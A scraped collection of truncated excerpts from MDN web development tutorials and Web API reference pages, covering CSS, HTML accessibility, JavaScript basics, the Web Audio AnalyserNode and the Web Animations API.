Everything you need to know to complete this task was covered in the guide to Media Queries, and the other layout lessons in this section. Note: Due to the need to test your design in multiple screen sizes we do not have an interactive editor for this task. Download the code and work locally, or use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Your task Download the starting point. ...
... and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Responsive
Web Design assessment". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their cod...
Getting started with CSS - Learn web development
rel="stylesheet" href="styles.css"> This <link> element tells the browser that we have a stylesheet, using the rel attribute, and the location of that stylesheet as the value of the href attribute. You can test that the CSS works by adding a rule to styles.css. Using your code editor add the following to your CSS file: h1 { color: red; } Save your HTML and CSS files and reload the page in a
web browser. The level one heading at the top of the document should now be red. If that happens, congratulations -- you have successfully applied some CSS to an HTML document. If that doesn't happen, carefully check that you've typed everything correctly. You can continue to work in styles.css locally, or you can use our interactive editor below to continue with this tutorial. The interactive edito...
...ph can be clicked on -- this is the behavior they are used to. As with everything in CSS, there is the potential to make the document less accessible with your changes -- we will aim to highlight potential pitfalls in appropriate places. Note: you will often see mention of accessibility in these lessons and across MDN. When we talk about accessibility we are referring to the requirement for our
webpages to be understandable and usable by everyone. Your visitor may well be on a computer with a mouse or trackpad, or a phone with a touchscreen. Or they might be using a screenreader, which reads out the content of the document, or they may need to use much larger text, or be navigating the site using the keyboard only. A plain HTML document is generally accessible to everyone -- as you start ...
How CSS works - Learn web development
Previous Overview: First steps Next We have learned the basics of CSS, what it is for and how to write simple stylesheets. In this lesson we will take a look at how a browser takes CSS and HTML and turns that into a
webpage. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, and HTML basics (study Introduction to HTML.) Objective: To understand the basics of how CSS and HTML are parsed by the browser, and what happens when a browser encounters CSS it does not understand. How does CSS actually work? When a browser displays a document, it must combine the document's content with its style information. It processes the document in a number of stages, which we've listed below. Bear in mind th...
... parsed by the browser, and what happens when a browser encounters CSS it does not understand. How does CSS actually work? When a browser displays a document, it must combine the document's content with its style information. It processes the document in a number of stages, which we've listed below. Bear in mind that this is a very simplified version of what happens when a browser loads a
webpage, and that different browsers will handle the process in different ways. But this is roughly what happens. The browser loads the HTML (e.g. receives it from the network). It converts the HTML into a DOM (Document Object Model). The DOM represents the document in the computer's memory. The DOM is explained in a bit more detail in the next section. The browser then fetches most of the resou...
create fancy boxes - Learn web development
CSS boxes are the building blocks of any
web page styled with CSS. Making them nice looking is both fun and challenging. It's fun because it's all about turning a design idea into working code; It's challenging because of annoying constraints and crazy freedom in the use of CSS. Let's do some fancy boxes. Before we start getting into the practical side of it, make sure you are familiar with the CSS box model. It's also a good idea, but not a prerequisite, to be familiar with some CSS layout basics. On the technical side, Creating fancy boxes are all about mastering CSS border and background properties and how to apply them to a given box. But beyond the technics its also all about unleashing your creativity. ...
..., make sure you are familiar with the CSS box model. It's also a good idea, but not a prerequisite, to be familiar with some CSS layout basics. On the technical side, Creating fancy boxes are all about mastering CSS border and background properties and how to apply them to a given box. But beyond the technics its also all about unleashing your creativity. It will not be done in one day, and some
web developers spend their whole life having fun with it. We are about to see many examples, but we will always work on the most simple piece of HTML possible, a simple element: <div class="fancy">Hi! I want to be fancy.</div> Ok, that's a very small bit of HTML, what can we tweak on that element? All of the following: Its box model properties: width, height, padding, border, etc. Its backgrou...
Styling text - Learn web development
, the next CSS topic for you to concentrate on is styling text -- one of the most common things you'll do with CSS. Here we look at text styling fundamentals including setting font, boldness, italics, line and letter spacing, drop shadows, and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should already have basic familiarity with HTML, as discussed in the Introduction to HTML module, and be comfortable with CSS fundamentals, as discussed in Introduction to CSS. Note: If you are working on a compu...
...ies specific to lists that you need to know about, and some best practices to consider. This article explains all. Styling links When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.
Web fonts Here we will explore
web fonts in detail -- these allow you to download custom fonts along with your
web page, to allow for more varied, custom text styling. Assessments The following assessments will test your understanding of the text styling techniques covered in the guides above. Typesetting a community school homepage In this assessment we'll test your understanding of styling ...
What HTML features promote accessibility? - Learn web development
Tabbing Users who do not or cannot use pointing devices can Tab through links and, as such, links should be in a logical tabbing order. The tabindex attribute allows you to define this order. If the HTML is linear, as it should be, a logical tabbing order should automatically fall into place. ...
...e</a> to find out more.</p> Access Keys Access keys provide easier navigation by assigning a keyboard shortcut to a link, which will usually gain focus when the user presses Alt or Ctrl + the access key. The exact key combination varies by platform. <a href="somepage.html" accesskey="s">Some page</a> Skip Links To aid tabbing, you can supply links that allow users to jump over chunks of your
web page. You might want to allow someone to jump over a plethora of navigation links, for example, so they can just read a page's main content rather than cycle through all of the links. <header> <h1>The Heading</h1> <a href="#content">Skip to content</a> </header> <nav> <!-- navigation stuff --> </nav> <section id="content"> <!--your content --> </section> ...
Other form controls - Learn web development
lot of different types of available form element. You don't need to remember all of these details at once, and can return to these articles as often as you like to check up on details. Now that you have a grasp of the HTML behind the different available form controls, we'll take a look at Styling them. ...
... details at once, and can return to these articles as often as you like to check up on details. Now that you have a grasp of the HTML behind the different available form controls, we'll take a look at Styling them. ...
HTML Cheatsheet - Learn web development
f the cheatsheet, to give you some quick accurate ready to use code snippets for common usages. Remember that HTML tags must be used for their semantic, not their appearance. It's always possible to totally change the look and feel of a given tag using CSS so, when using HTML, take the time to focus on the meaning rather than the appearance. Inline elements An "element" is a single part of a
webpage. Some elements are large and hold smaller elements like containers. Some elements are small and are "nested" inside larger ones. By default, "inline elements" appear next to one another in a
webpage. They take up only as much width as they need in a page and fit together horizontally like words in a sentence or books shelved side-by-side in a row.All inline elements can be implemented within ...
...io/ogg"> Your browser does not support Audio. </audio> Your browser does not support Audio. Embedded Video <video controls src="https://udn.realityripple.com/samples/1f/6cc66528b8.mp4">The <code>video</code> element is unsupported.</video> The video element is unsupported. Block elements "Block elements," on the other hand, take up the entire width of a
webpage. They also take up a full line of a
webpage; they do not fit together side-by-side. Instead, they stack like paragraphs in an essay or toy blocks in a tower. Usage Code snippet Result A simple paragraph <p>I'm a paragraph</p> <p>I'm another paragraph</p> I'm a paragraph I'm another paragraph An extended quotation <blo...
Add a hitmap on top of an image - Learn web development
Here we go over how to set up an image map, and some downsides to consider first. Prerequisites: You should already know how to create a basic HTML document and how to add accessible images to a
webpage. Objective: Learn how to make different regions of one image link to different pages. This article discusses client-side image maps only. Do not use server-side image maps, which require the user to have a mouse. Image maps, and their drawbacks When you nest an image inside <a>, the entire image links to one
webpage. An image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource. Formerly, image maps were a popular navigation device, but it's important to thoroughly consider their perfor...
... <area shape="rect" coords="10, 5, 20, 15" href="page-3.html" alt="rectangle example" /> </map> Step 3: Make sure it works for everybody You aren't done until you test image maps rigorously on many browsers and devices. Try following links with your keyboard alone. Try turning images off. If your image map is wider than about 240px, you'll need to make further adjustments to make your
website responsive. It's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image. If you must use image maps, you may want to look into Matt Stow's jQuery plugin. Alternatively, Dudley Storey demonstrates a way to use SVG for an image map effect, along with a subsequent combined SVG-raster hack for bitmap images. Learn more <img> <ma...
Mozilla splash page - Learn web development
we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about Mozilla! Prerequisites: Before attempting this assessment you should have already worked through the rest of the Multimedia and embedding module. Objective: To test knowledge around embedding images and video in
web pages, frames, and HTML responsive image techniques. Starting point To start off this assessment, you need to grab the HTML and all the images available in the mdn-splash-page-start directory on github. Save the contents of index.html in a file called index.html on your local drive, in a new directory. Then save pattern.png in the same directory (right click on the image to get an option ...
...to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Multimedia and embedding In this module Images in HTML Video and audio content From <object> to <iframe> -- other embedding technologies Adding vector graphics to the
Web Responsive images Mozilla splash page ...
Functions — reusable blocks of code - Learn web development
uilt-in functions to allow you to do useful things without having to write all that code yourself. In fact, some of the code you are calling when you invoke (a fancy word for run, or execute) a built in browser function couldn't be written in JavaScript -- many of these functions are calling parts of the background browser code, which is written largely in low-level system languages like C++, not
web languages like JavaScript. Bear in mind that some built-in browser functions are not part of the core JavaScript language -- some are defined as part of browser APIs, which build on top of the default language to provide even more functionality (refer to this early section of our course for more descriptions). We'll look at using browser APIs in more detail in a later module. Functions versus m...
...hods. You don't need to learn about the inner workings of structured JavaScript objects yet -- you can wait until our later module that will teach you all about the inner workings of objects, and how to create your own. For now, we just wanted to clear up any possible confusion of method versus function -- you are likely to meet both terms as you look at the available related resources across the
Web. The built-in code we've made use of so far come in both forms: functions and methods. You can check the full list of the built-in functions, as well as the built-in objects and their corresponding methods here. You've also seen a lot of custom functions in the course so far -- functions defined in your code, not inside the browser. Anytime you saw a custom name with parentheses straight after ...
Useful string methods - Learn web development
ch character number of the main string the substring starts at. If the substring is not found inside the main string, it returns a value of -1. Try this: browserType.indexOf('zilla'); This gives us a result of 2, because the substring "zilla" starts at position 2 (0, 1, 2 -- so 3 characters in) inside "mozilla". Such code could be used to filter strings. For example, we may have a list of
web addresses and only want to print out the ones that contain "mozilla". This can be done in another way, which is possibly even more effective. Try the following: browserType.indexOf('vanilla'); This should give you a result of -1 -- this is returned when the substring, in this case 'vanilla', is not found in the main string. You could use this to find all instances of strings that don...
... Test your skills! You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Strings. Conclusion You can't escape the fact that being able to handle words and sentences in programming is very important -- particularly in JavaScript, as
websites are all about communicating with people. This article has given you the basics that you need to know about manipulating strings for now. This should serve you well as you go into more complex topics in the future. Next, we're going to look at the last major type of data we need to focus on in the short term -- arrays. Previous Overview: First steps Next In this module What is Ja...
JavaScript First Steps - Learn web development
In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript: Getting started with the
Web (whi...
...have found that it didn't work. Never fear -- this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs. Storing the information you need -- Variables After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other
web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with the most basic building blocks of JavaScript -- Variables. Basic math in JavaScript -- numbers and operators At this point in the course we discuss maths in JavaScript -- how we can combine operators and other features to successfully manipulate ...
Introducing JavaScript objects - Learn web development
late related functions and variables into efficient packages and act as handy data containers. The object-based nature of JavaScript is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, then look at how to create your own objects. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have some familiarity with HTML and CSS. You are advised to work through the Introduction to HTML and Introduction to CSS modules before starting on JavaScript. You should also have some familiarity with Ja...
...ow to create "child" object classes (constructors) that inherit features from their "parent" classes. In addition, we present some advice on when and where you might use OOJS. Working with JSON data JavaScript Object Notation (JSON) is a standard text-based format for representing structured data based on JavaScript object syntax, which is commonly used for representing and transmitting data on
web sites (i.e. sending some data from the server to the client, so it can be displayed on a
web page). You'll come across it quite often, so in this article, we give you all you need to work with JSON using JavaScript, including parsing the JSON so you can access data items within it and writing your own JSON. Object building practice In previous articles we looked at all the essential JavaScript ...
CSS performance optimization - Learn web development
is created, which in turn requires both the DOM and the CSSOM trees. To optimize the CSSOM construction, remove unnecessary styles, minify, compress and cache it, and split CSS not required at page load into additional files to reduce CSS render blocking. Optimizing for render blocking CSS can scope styles to particular conditions with media queries. Media queries are important for a responsive
web design and help us optimize a critical rendering path. The browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. By splitting the CSS into multiple files based on media queries, you can prevent render blocking during download of unused CSS. To create a non-blocking CSS link, move the not-immediatel...
...y The contain CSS property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree. This allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the DOM and not the entire page. Conclusion Previous Overview: Performance Next In this module The "why" of
web performance What is
web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance See Also CSS animation performance ...
Beginning our React todo list - Learn web development
efore, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; background: transparent; color: inherit; font: inherit; line-height: normal; -
webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -
webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto...
... margin: unset auto; } /* Todo item styles */ .todo { display: flex; flex-direction: row; flex-wrap: wrap; } .todo > * { flex: 0 0 100%; } .todo-text { width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } .todo-text:focus { box-shadow: inset 0 0 0 2px; } /* CHECKBOX STYLES */ .c-cb { box-sizing: border-box; font-family: Arial, sans-serif; -
webkit-font-smoothing: antialiased; font-weight: 400; font-size: 1.6rem; line-height: 1.25; display: block; position: relative; min-height: 44px; padding-left: 40px; clear: left; } .c-cb > label::before, .c-cb > input[type="checkbox"] { box-sizing: border-box; top: -2px; left: -2px; width: 44px; height: 44px; } .c-cb > input[type="checkbox"] { -
webkit-font-smoothing: antia...
nsIWebBrowserChrome3
1.0 66 Introduced Gecko 2.0 Inherits from: nsI
WebBrowserChrome2 Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview AString onBeforeLinkTraversal(in AString originalTarget, in nsIURI linkURI, in nsIDOMNode linkNode, in PRBool isAppTab); Methods onBeforeLinkTraversal() Determines the appropriate target for a link. AString onBeforeLinkTraversal( in AString originalTarget, in nsIURI linkURI, in nsIDOMNode linkNode, in PRBool isAppTab ); Parameters originalTarget The original link target. linkURI Link destination URI. linkNode Link DOM node. ...
...al( in AString originalTarget, in nsIURI linkURI, in nsIDOMNode linkNode, in PRBool isAppTab ); Parameters originalTarget The original link target. linkURI Link destination URI. linkNode Link DOM node. isAppTab Whether or not the link is in an application tab. Return value A new link target, if appropriate. Otherwise returns originalTarget. See also nsI
WebBrowserChrome2 ...
nsIWebappsSupport
toolkit/components/
webapps/nsI
WebappsSupport.idlScriptable Please add a summary to this article. 1.0 66 Introduced Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview void installApplication(in wstring title, in wstring uri, in wstring iconUri, in wstring iconData); boolean isApplicationInstalled(in wstring uri); Methods installApplication() This method installs a
web application. void installApplication( in wstring title, in wstring uri, in wstring iconUri, in wstring iconData ); Parameters title The user-friendly name of the application. uri The uri of the
web application. iconUri The uri of icon of the
web application. iconData A base64 encoded representation of the ...
...is method installs a
web application. void installApplication( in wstring title, in wstring uri, in wstring iconUri, in wstring iconData ); Parameters title The user-friendly name of the application. uri The uri of the
web application. iconUri The uri of icon of the
web application. iconData A base64 encoded representation of the application's icon. isApplicationInstalled() Checks is a
web application is already installed. boolean isApplicationInstalled( in wstring uri ); Parameters uri The uri of the
web application. Return value true if the
web application is installed, false if it's not installed. ...
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
Syntax void ext.vertexAttribDivisorANGLE(index, divisor); Parameters index A GLuint specifying the index of the generic vertex attributes. divisor A GLuint specifying the number of instances that will pass between updates of the generic attribute. Return value None. ...
... Syntax void ext.vertexAttribDivisorANGLE(index, divisor); Parameters index A GLuint specifying the index of the generic vertex attributes. divisor A GLuint specifying the number of instances that will pass between updates of the generic attribute. Return value None. ...
AbstractRange - Web APIs
two interfaces, and how to choose which is appropriate for your needs. ...
... DOM figuring out what your global offset refers to, the user agent (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node. ...
AbstractWorker - Web APIs
As an abstract class, you don't directly interact with AbstractWorker. Properties The AbstractWorker interface doesn't inherit any properties. Event handlers AbstractWorker.onerror An EventListener which is invoked whenever an ErrorEvent of type error bubbles through the worker. Methods The AbstractWorker interface doesn't implement or inherit any methods. Example As an abstract interface, you won't directly use AbstractWorker in your code. ...
...sage([first.value, second.value]); console.log('Message posted to worker'); } The worker's code is loaded from the file "worker.js". This code assumes that there's an <input> element represented by first; an event handler for the change event is established so that when the user changes the value of first, a message is posted to the worker to let it know. You can find more examples on the MDN
Web Docs GitHub repository: Basic dedicated worker example (run dedicated worker). Basic shared worker example (run shared worker). Specifications Specification Status Comment HTML Living StandardThe definition of 'AbstractWorker' in that specification. Living Standard No change from Unknown. ...
AesCtrParams - Web APIs
AES is a block cipher, meaning that it splits the message into blocks and encrypts it a block at a time. In CTR mode, every time a block of the message is encrypted, an extra block of data is mixed in. This extra block is called the "counter block". A given counter block value must never be used more than once with the same key: Given a message n blocks long, a different counter block must be used for every block. ...
...s n blocks and the counter is m bits long, then the following must be true: n <= 2m. The NIST SP800-38A standard, which defines CTR, suggests that the counter should occupy half of the counter block (see Appendix B.2), so for AES it would be 64. Examples See the examples for SubtleCrypto.encrypt() and SubtleCrypto.decrypt(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.AesCtrParams' in that specification. Recommendation ...
AnalyserNode.fftSize - Web APIs
ple shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount ; var dataArray = new Uint8Array(bufferLength); analyser.getByteTimeDomainData(dataArray); // draw an oscilloscope of the current audio source function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteTimeDomainData(dataArray...
... Working Draft ...
AnalyserNode.frequencyBinCount - Web APIs
ple shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); analyser.minDecibels = -90; analyser.maxDecibels = -10; ... analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequ...
... Working Draft ...
AnalyserNode.getByteFrequencyData() - Web APIs
he following example shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. For more examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequencyData(dataArray); canvasCtx.fillStyle = 'rgb(0, 0,...
... Working Draft ...
AnalyserNode.getByteTimeDomainData() - Web APIs
e shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). const audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); const analyser = audioCtx.createAnalyser(); ... analyser.fftSize = 2048; const bufferLength = analyser.fftSize; const dataArray = new Uint8Array(bufferLength); analyser.getByteTimeDomainData(dataArray); // draw an oscilloscope of the current audio source function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteTimeDomainData(dataArray); canvasCtx.
... Working Draft ...
AnalyserNode.getFloatTimeDomainData() - Web APIs
ing example shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic-float-data demo (see the source code too). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... analyser.fftSize = 1024; var bufferLength = analyser.fftSize; console.log(bufferLength); var dataArray = new Float32Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimationFrame(draw); analyser.getFloatTimeDomainData(dataArray); canvasCtx.fillStyle = 'rgb(200, 200, 2...
... Working Draft ...
AnalyserNode.maxDecibels - Web APIs
ple shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); analyser.minDecibels = -90; analyser.maxDecibels = -10; ... analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequ...
... Working Draft ...
AnalyserNode.minDecibels - Web APIs
ple shows basic usage of an AudioContext to create an AnalyserNode, then requestAnimationFrame and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); analyser.minDecibels = -90; analyser.maxDecibels = -10; ... analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequ...
... Working Draft ...
AnalyserNode.smoothingTimeConstant - Web APIs
r more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). If you are curious about the effect the smoothingTimeConstant() has, try cloning the above example and setting analyser.smoothingTimeConstant = 0; instead. You'll notice that the value changes are much more jarring. var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); analyser.minDecibels = -90; analyser.maxDecibels = -10; analyser.smoothingTimeConstant = 0.85; ... analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); function draw() { drawVisual = requestAnimati...
... Working Draft ...
Animation() - Web APIs
Syntax var animation = new Animation([effect][, timeline]); Parameters effect Optional The target effect, as an object based on the AnimationEffectReadOnly interface, to assign to the animation. Although in the future other effects such as SequenceEffects or GroupEffects might be possible, the only kind of effect currently available is KeyframeEffect. This can be null (which is the default) to indicate that there should be no effect applied. timeline Optional Specifies the timeline with which to associate the animation, as an object of a type based on the AnimationTimeline interface. ...
...The default value is Document.timeline, but this can be set to null as well. Examples In the Follow the White Rabbit example, the Animation() constructor is used to create an Animation for the rabbitDownKeyframes using the document's timeline: var rabbitDownAnimation = new Animation(rabbitDownKeyframes, document.timeline); Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation()' in that specification. Working Draft Editor's draft. ...
Animation.cancel() - Web APIs
Working Draft Editor's draft. ...
...artTime and currentTime are set to null. Syntax Animation.cancel(); Parameters None. Return value None. Exceptions This method doesn't directly throw exceptions; however, if the animation's playState is anything but "idle" when cancelled, the current finished promise is rejected with a DOMException named AbortError. Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation.cancel()' in that specification. Working Draft Editor's draft. ...
Animation.commitStyles() - Web APIs
The commitStyles() method of the
Web Animations API's Animation interface commits the end styling state of an animation to the element being animated, even after that animation has been removed. It will cause the end styling state to be written to the element being animated, in the form of properties inside a style attribute. Syntax animation.commitStyles(); Parameters None. Return value None. ...
...); Parameters None. Return value None. Examples const divElem = document.querySelector('div'); document.body.addEventListener('mousemove', evt => { let anim = divElem.animate( { transform: `translate(${ evt.clientX}px, ${evt.clientY}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitStyles(); }); Specifications Specification Status Comment
Web AnimationsThe definition of 'commitStyles()' in that specification. Working Draft ...
Animation.currentTime - Web APIs
If the animation lacks a timeline, is inactive, or hasn't been played yet, currentTime's return value is null. Syntax var currentTime = Animation.currentTime; Animation.currentTime = newTime; Value A number representing the current time in milliseconds, or null to deactivate the animation. Examples In the Drink Me/Eat Me game, Alice's height is animated so it can go from small to large or large to small. ...
...14 // ... // reduced time precision with `privacy.resistFingerprinting` enabled animation.currentTime; // 49.8 // 50.6 // 51.7 // ... In Firefox, you can also enabled privacy.resistFingerprinting, the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger. Specifications Specification Status Comment
Web AnimationsThe definition of 'currentTime' in that specification. Working Draft ...
Animation.finish() - Web APIs
That is, if the animation is playing forward, it sets the playback time to the length of the animation sequence, and if the animation is playing in reverse (having had its reverse() method called), it sets the playback time to 0. Syntax Animation.finish(); Parameters None. Return value None. Exceptions InvalidState The player's playback rate is 0 or the animation's playback rate is greater than 0 and the end time of the animation is infinity. Examples The following example shows how to use the finish() method and catch an InvalidState error. ...
... Working Draft ...
Animation.finished - Web APIs
Every time the animation leaves the finished play state (that is, when it starts playing again), a new Promise is created for this property. The new Promise will resolve once the new animation sequence has completed. Syntax var animationsPromise = Animation.finished; Value A Promise object which will resolve once the animation has finished running. ...
...s finished running. Examples The following code waits until all animations running on the element elem have finished, then deletes the element from the DOM tree: Promise.all( elem.getAnimations().map( function(animation) { return animation.finished } ) ).then( function() { return elem.remove(); } ); Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation.finished' in that specification. Working Draft Editor's draft. ...
Animation.oncancel - Web APIs
The cancel event can be triggered manually with Animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing Creating a new animation that is initially idle does not trigger a cancel event on the new animation. Syntax var cancelHandler = Animation.oncancel; Animation.oncancel = cancelHandler; Value A function to be executed when the animation is cancelled, or null if there is no cancel event handler. Examples If this animation is canceled, remove its element. ...
... Working Draft Editor's draft. ...
Animation.onremove - Web APIs
This event is sent when the animation is removed (i.e., put into an active replace state). Syntax var removeHandler = animation.onremove; animation.onremove = removeHandler; Value A function to be called to handle the remove event, or null if no remove event handler is set. ...
...e <div> element to the position of the mouse pointer. This could result in a huge animations list, which could create a memory leak. For this reason, modern browsers automatically remove overriding forward filling animations. A console message is logged each time an animation it removed, invoked when the remove event is fired. Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation.onremove' in that specification. Working Draft Editor's draft. ...
Animation.persist() - Web APIs
Syntax animation.persist(); Parameters None. Return value None. ...
...mations list, which could create a memory leak. For this reason, modern browsers automatically remove overriding forward filling animations. You can see the replaceState of the animation being logged at the end of the handler. This will be active for each animation by default, or persisted if the persist() call is uncommented. Specifications Specification Status Comment
Web AnimationsThe definition of 'persist()' in that specification. Working Draft ...
Animation.play() - Web APIs
If the animation is finished, calling play() restarts the animation, playing it from the beginning. Syntax animation.play(); Parameters None. Return value undefined Example In the Growing/Shrinking Alice Game example, clicking or tapping the cake causes Alice's growing animation (aliceChange) to play forward, causing her to get bigger, as well as triggering the cake's animation. ...
... function() { // Play Alice's animation. aliceChange.play(); // Play the cake's animation. nommingCake.play(); } // When a user holds their mouse down or taps, call growAlice to make all the animations play. cake.addEventListener("mousedown", growAlice, false); cake.addEventListener("touchstart", growAlice, false); Specifications Specification Status Comment
Web AnimationsThe definition of 'play()' in that specification. Working Draft ...
Animation.playState - Web APIs
The Animation.playState property of the
Web Animations API returns and sets an enumerated value describing the playback state of an animation. This property is read-only for CSS Animations and Transitions. Syntax var currentPlayState = Animation.playState; Animation.playState = newState; Value idle The current time of the animation is unresolved and there are no pending tasks. running The animation is running. paused The animation was suspended and the Animation.currentTime property is not updating. finished The animation has reached one of its boundaries and the Animation.currentTime property is not updating. Previously,
Web Animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete. This is now indic...
... Working Draft Initial definition. ...
Animation.playbackRate - Web APIs
